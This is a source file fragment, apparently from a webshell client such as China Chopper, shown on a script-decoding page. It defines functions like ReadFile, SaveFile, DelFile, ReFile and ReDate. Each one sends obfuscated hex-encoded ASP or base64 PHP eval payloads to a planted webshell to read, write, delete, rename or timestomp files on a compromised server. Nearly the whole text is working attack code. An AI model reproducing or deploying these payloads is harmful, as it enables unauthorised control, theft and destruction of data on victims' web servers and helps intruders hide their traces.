obj.Add(list,obj.Input(pass, 'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D206C2C73732C66662C543A66663D6264287265717565737428227A312229293A73733D5265717565737428227A3222293A6C3D4C656E287373293A53657420533D5365727665722E4372656174654F626A656374282241646F64622E53747265616D22293A5769746820533A2E547970653D313A2E4D6F64653D333A2E4F70656E3A4966205265717565737428227A3322293E30205468656E3A2E4C6F616446726F6D46696C652022222666662622223A2E506F736974696F6E3D2E53697A653A456E642049663A7365742072733D4372656174654F626A656374282241444F44422E5265636F726473657422293A72732E6669656C64732E617070656E6420226262222C3230352C6C2F323A72732E6F70656E3A72732E6164646E65773A72732822626222293D73732B636872622830293A72732E7570646174653A2E57726974652072732822626222292E6765746368756E6B286C2F32293A72732E636C6F73653A5365742072733D4E6F7468696E673A2E506F736974696F6E3D303A2E53617665546F46696C652022222666662622222C323A2E436C6F73653A456E6420576974683A53657420533D4E6F7468696E673A496620457272205468656E3A543D4572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A543D2231223A456E642049663A526573706F6E73652E5772697465285429"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1",StringToByte(serverpath)));
obj.Add(list,obj.Input("z2", bytes));
obj.Add(list,obj.Input("z3", "0"));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw=="));
obj.Add(list,obj.Input("z1",Base64.EncodeBase64("GB2312",serverpath)));
obj.Add(list,obj.Input("z2", bytes));
break;
}
return list;
}
function DelFile(filepath)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'value Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", filepath));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztmdW5jdGlvbiBkZigkcCl7JG09QGRpcigkcCk7d2hpbGUoQCRmPSRtLT5yZWFkKCkpeyRwZj0kcC4iLyIuJGY7aWYoKGlzX2RpcigkcGYpKSYmKCRmIT0iLiIpJiYoJGYhPSIuLiIpKXtAY2htb2QoJHBmLDA3NzcpO2RmKCRwZik7fWlmKGlzX2ZpbGUoJHBmKSl7QGNobW9kKCRwZiwwNzc3KTtAdW5saW5rKCRwZik7fX0kbS0+Y2xvc2UoKTtAY2htb2QoJHAsMDc3Nyk7cmV0dXJuIEBybWRpcigkcCk7fSRGPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdO2lmKGlzX2RpcigkRikpZWNobyhkZigkRikpO2Vsc2V7ZWNobyhmaWxlX2V4aXN0cygkRik/QHVubGluaygkRik/IjEiOiIwIjoiMCIpO307ZWNobygifDwtIik7ZGllKCk7"));
var sss = filepath;
obj.Add(list,obj.Input("z1", sss));
break;
}
return list;
}
function ReFile(oldname,newname)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'value Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", oldname));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRzcmM9bT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ6MSJdKTokX1BPU1RbInoxIl07JGRzdD1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXTtlY2hvKHJlbmFtZSgkc3JjLCRkc3QpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs="));
obj.Add(list,obj.Input("z1", oldname));
obj.Add(list,obj.Input("z2", newname));
break;
}
return list;
}
function ReDate(oldname,date)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'value Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D20503A503D5265717565737428227A3122293A5365742046533D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046532E466F6C6465724578697374732850293D74727565205468656E3A46532E44656C657465466F6C6465722850293A456C73653A46532E44656C65746546696C652850293A456E642049663A5365742046533D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A526573706F6E73652E57726974652853293A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", oldname));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRGTj1tP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskVE09c3RydG90aW1lKG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdKTtpZihmaWxlX2V4aXN0cygkRk4pKXtlY2hvKEB0b3VjaCgkRk4sJFRNLCRUTSk/IjEiOiIwIik7fWVsc2V7ZWNobygiMCIpO307O2VjaG8oInw8LSIpO2RpZSgpOw=="));
obj.Add(list,obj.Input("z1", oldname));
obj.Add(list,obj.Input("z2", date));
break;
}
return list;
}
function ReadFile(filepath)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", StringToByte(filepath)));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw=="));
var sss = Base64.EncodeBase64("GB2312", filepath);
obj.Add(list,obj.Input("z1", sss));
break;
}
return list;
}
function SaveFile(filepath,txt)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", StringToByte(filepath)));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvIEBmd3JpdGUoZm9wZW4oYmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pLCJ3IiksYmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pKT8iMSI6IjAiOztlY2hvKCJ8PC0iKTtkaWUoKTs="));
var sss = Base64.EncodeBase64("GB2312", filepath);
obj.Add(list,obj.Input("z1", sss));
var txtt = Base64.EncodeBase64("GB2312", txt);
obj.Add(list,obj.Input("z2", txtt));
break;
}
return list;
}
function DownFile(filepath,txt)
{
var list = new List();
switch (shellclass)
{
case "asp":
obj.Add(list,obj.Input(pass, 'Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""526573706F6E73652E5772697465284372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E4F70656E5465787466696C65286264285265717565737428227A312229292C312C46616C7365292E72656164616C6C293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456E64204966"""")):Response.Write(""""|<-""""):Response.End"")")'));
obj.Add(list,obj.Input("z1", StringToByte(filepath)));
break;
case "php":
obj.Add(list,obj.Input(pass, "@eval(base64_decode($_POST[z0]));"));
obj.Add(list,obj.Input("z0", "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7"));
var sss = filepath;
obj.Add(list,obj.Input("z1", sss));
break;
}
return list;
}
Function Calls
None |
Stats
MD5 | 3b53b14b910bedd2a5477eef3eea344f |
Eval Count | 0 |
Decode Time | 241 ms |